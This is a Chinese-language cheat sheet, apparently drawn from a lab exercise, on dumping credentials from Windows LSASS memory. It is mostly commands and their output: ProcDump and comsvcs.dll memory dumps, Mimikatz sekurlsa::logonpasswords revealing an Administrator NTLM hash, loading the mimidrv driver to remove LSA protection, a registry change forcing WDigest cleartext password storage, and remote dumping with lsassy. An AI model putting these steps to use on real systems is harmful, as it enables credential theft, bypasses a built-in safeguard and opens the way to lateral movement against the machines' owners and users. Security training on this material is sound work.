权限:管理员 | 系统
描述: LSASS 中会存储有关用户账户的敏感信息,我们可以转储其中内容以进行权限提升
GUI
ProcDump
ProcDump 是一个 Sysinternals 命令行运行程序
然后可以使用Mimikatz从lsass_dump.dmp文件中提取信息。
C:\Tools\Mimikatz>c:\Tools\SysinternalsSuite\procdump.exe -accepteula -ma lsass.exe c:\Tools\Mimikatz\lsass_dump
ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[02:48:36] Dump 1 initiated: c:\Tools\Mimikatz\lsass_dump.dmp
[02:48:36] Dump 1 writing: Estimated dump file size is 153 MB.
[02:48:39] Dump 1 complete: 153 MB written in 3.6 seconds
[02:48:39] Dump count reached.
Invoke-Mimikatz -Command "sekurlsa::Minidump lsass_dump.dmp"
Invoke-Mimikatz -Command "sekurlsa::logonPasswords /full"
Mimikatz
启动程序
C:\Tools\Mimikatz> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #18362 Jul 10 2019 23:09:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz #
启用 SeDebugPrivilege 并检查我们的权限:
mimikatz # privilege::debug
Privilege '20' OK
授予权限后,我们执行命令来获取 hash
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 515377 (00000000:0007dd31)
Session : RemoteInteractive from 3
User Name : Administrator
Domain : THM
Logon Server : CREDS-HARVESTIN
Logon Time : 6/3/2022 8:30:44 AM
SID : S-1-5-21-1966530601-3185510712-10604624-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : THM
* NTLM : 98d3a787a80d08385cea7fb4aa2a4261
* SHA1 : 64a137cb8178b7700e6cffa387f4240043192e72
* DPAPI : bc355c6ce366fdd4fd91b54260f9cf70
...
受保护的 LSASS
微软在 2012 年启动了 LSA 保护,以防止 LSASS 被访问或者从内存中提取凭据,我们将演示如何使用 Mimikatz 禁用 LSA 保护并从内存中转储凭据。
若要启用 LSASS 保护,我们可以将注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa RunAsPPL DWORD 值修改为 1
当我们启用了 LSA 保护时我们在执行 sekurlsa::logonpasswords
时会报错
该命令返回0x00000005错误代码消息(拒绝访问)。幸运的是,Mimikatz 提供了一个 mimidrv.sys 驱动程序,该驱动程序在内核级别工作以禁用 LSA 保护。我们可以通过执行“!+”将其导入Mimikatz,如下所示:
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
加载驱动程序后,我们可以通过执行以下 Mimikatz 命令来禁用 LSA 保护:
mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 528 -> 00/00 [0-0-0]
然后再次执行 sekurlsa::logonpasswords
转储明文凭据
WDigest 使用的存储机制将密码以明文形式存储在内存中。如果攻击者获得了对系统的访问权限,他们可以利用Mimikatz和Lsasy等工具不仅检索存储在内存中的密码哈希,还可以检索明文形式的实际密码
因此,攻击者将不仅限于横向移动的哈希传递方法,而且可能获得对其他资源的访问权限,例如 Exchange、内部网站以及需要用户 ID 和密码进行身份验证的任何其他系统。
# CMD (Enable), Requires user to log off/on or lock screen to store in cleartext
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# CMD (Disable), System reboot required to complete
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
# Mimikatz (Everything)
Invoke-Mimikatz -DumpCreds
# Mimikatx (Just WDigest)
Invoke-Mimikatz -Command '"sekurlsa::wdigest"'
# Lsassy
lsassy -u '[User]' -p '[Password]' -d '[Domain]' '[Target-IP]' --users --exec smb
comsvcs.dll
# Get lsass.exe PID
tasklist /fi "Imagename eq lsass.exe"
# Call comsvcs.dll and dump to file.
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\lsass_dump.dmp full
# Dump with Mimikatz
Invoke-Mimikatz -Command "sekurlsa::Minidump lsass_dump.dmp"
Invoke-Mimikatz -Command "sekurlsa::logonPasswords /full"